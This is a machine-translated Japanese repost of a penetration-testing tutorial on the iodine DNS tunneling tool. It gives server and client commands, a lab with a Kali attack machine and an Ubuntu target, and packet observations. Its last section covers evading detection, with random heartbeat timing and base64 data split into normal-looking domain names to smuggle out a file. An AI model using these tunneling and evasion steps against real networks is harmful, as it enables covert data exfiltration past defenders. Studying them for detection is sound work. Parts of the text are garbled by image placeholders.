イントラネット浸透シリーズ:イントラネットトンネルのヨウ素

序文

この記事では、DNSトンネリングの古典的なツールであるヨウ素について説明します。

github:https ://github.com/yarrick/iodine

I.概要

1はじめに

継続的に更新され、C言語で書かれ、公式:http ://code.kryo.se/iodine/

DNSを介したIPv4、つまりDNSトンネルを介したIPv4パケットの転送により、エンコードと要求の種類の選択肢が広がります。

  • クライアントがWin10の場合、環境がセットアップされた後、接続は成功しますが、pingは実行できません(つまり、使用できません!)
  • 直接接続とリレーモードをサポート
  • 一般的なDNS解決タイプ(A、CNAME、MX、TXTなど)をサポートします。

2.原則

DNSの原則を参照してください:DNSとドメイン名の解決を理解するための1つの記事

TAP仮想ネットワークカードを介して、サーバー側でローカルエリアネットワークが確立されます。クライアント側では、TAPを介して仮想ネットワークカードが確立されます。2つはDNSトンネルを介して接続され、同じローカルエリアネットワークにあります(通信pingコマンドを使用して実行できます)。クライアントとサーバーの間に接続が確立された後、「dns0」の仮想ネットワークカードがクライアントに追加されます。
  
DNSトンネルプロセス:ヨウ素クライアント->DNSサービスプロバイダー->ヨウ素サーバー

3.使用法

(1)サーバー

iodined -f -c -P <password> 10.0.0.1 vpn.abc.com -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址。
-P:客户端和服务端之间用于验证身份的密码。
-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
这里的10.0.0.1是自定义的局域网虚拟IP地址。

(2)クライアント

Linux環境:

iodine -f -P  <password> vpn.abc.ltd -M 200
-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
-M:指定上行主机的大小。
-m:调节最大下行分片的大小。
-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
-O:指定数据编码规范。
-L:指定是否开启懒惰模式,默认开启。
-I:指定两个请求之间的时间间隔。

Windows環境:

  • WindowsクライアントはコンパイルされたWindowsバージョンを直接使用でき、TAPネットワークカードドライバーを同時にインストールする必要があります。
  • OpenVPNをダウンロードして、インストール時にTAP-Win32ドライバーのみを選択することもできます。インストール後、サーバーに追加の「TAP-WndowsADApterV9」ネットワークカードがあります。
  • クライアントプログラムiodineを実行しiodine -f -P <password> vpn.abc.comます。「接続のセットアップが完了しました。データを送信しています」というプロンプトが表示された場合は、DNSトンネルが確立されていることを意味します。

2.練習

1.テストシナリオ

(1)攻撃機

Kali2021 192.168.10.128

(2)DNSサーバー

Windows Server 2008:192.168.10.200

静的IPを設定します。https://blog.csdn.net/pockeyfan/article/details/42063683を参照してください

新しいAレコードを作成し、サーバーkaliをポイントします
ここに画像の説明を挿入
。設定したAレコードのドメイン名をポイントする新しいデリゲート(つまりNSレコード)を作成します。Windows
ここに画像の説明を挿入
サーバー自体をポイントする別のAレコードを作成します。
ここに画像の説明を挿入

(3)対象マシン

Ubuntu 18.04 192.168.10.129

シミュレートされたDNSサーバーは実際の権限のあるサーバーであるため、つまり、ターゲットマシンはDNSをDNSサーバーに解決できる必要があります。したがって、ターゲットマシンのDNS解決を変更する必要があります。

ここに画像の説明を挿入
nslookupの検出

ここに画像の説明を挿入

2.トンネルを確立します

(1)サーバー

トンネル設置前の状態
ここに画像の説明を挿入
トンネル設置

iodined -f -c -P 123456 10.0.0.1 dnstunnel.test.com -DD

ここに画像の説明を挿入
このとき、追加のネットワークカードdns0があり、IPは設定した10.0.0.1です。
ここに画像の説明を挿入

(2)クライアント

トンネル設置前の状態
ここに画像の説明を挿入
トンネル設置

iodine -f -r -P 123456 dnstunnel.test.com

ここに画像の説明を挿入
追加のネットワークカードdns0もあり、IPは10.0.0.2です。
ここに画像の説明を挿入

(3)ssh

この時点で、トンネルは正常に確立され、ハートビートパケットがサーバーに出力されます。sshトンネルを正常
ここに画像の説明を挿入
に確立して
ここに画像の説明を挿入
、トラフィックをプロキシできるようにしてください
。この時点で、出力されるパケットは次のとおりです。

ここに画像の説明を挿入

3.パッケージを見てください

トンネルを確立すると、ドメイン名が見苦しくなり
ここに画像の説明を挿入
ます。仮想ネットワークカードのTCPハンドシェイク
ここに画像の説明を挿入
ハートビートパケットが行き来し、ドメイン名が異常すぎます。仮想ネットワークカードでsshを実行すると、
ここに画像の説明を挿入
仮想
ここに画像の説明を挿入
ネットワーク
ここに画像の説明を挿入
カードで
ここに画像の説明を挿入

3.探索する

1.ソースコードと分析

すべて

2.検出とバイパス

(1)仮想ネットワークカード

このツールは、TCPを処理するための仮想ネットワークカードを作成します

避けられない

(2)レコードタイプ

このツールは一般的なレコードタイプをサポートできるため、これは大きな問題ではありません。上記の実験では指定されていませんが、Aとして指定できれば大きな問題ではありません。

(3)異常なDNSパケットの数

トンネルを使用する場合、同じDNSサーバーから大量のDNSパケットが送信されます

バイパス方法:途中に間隔を追加しますが、これは非常に遅い速度になります

(4)異常なドメイン名

トンネルとハートビートパケットを確立するためのドメイン名が異常であり、トンネルを使用する場合のドメイン名はさらに長いbase64文字列です。

バイパス方法:ハートビートパケットに通常のドメイン名を使用し、トンネルを使用するときにbase64を分割しますが、データパケットの数が大幅に増加します

比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …

(5)ハートビートパッケージ

ハートビートパケットの間隔は比較的長い(3秒)が、数が問題である

バイパス方法:間隔はランダムにすることができ、トンネルを再確立するために番号をUDPソケットに変更することができます

エピローグ

icmptunnelと同様に、トンネルを実装するための仮想ネットワークカードを構築します

おすすめ

転載: blog.csdn.net/weixin_44604541/article/details/119139389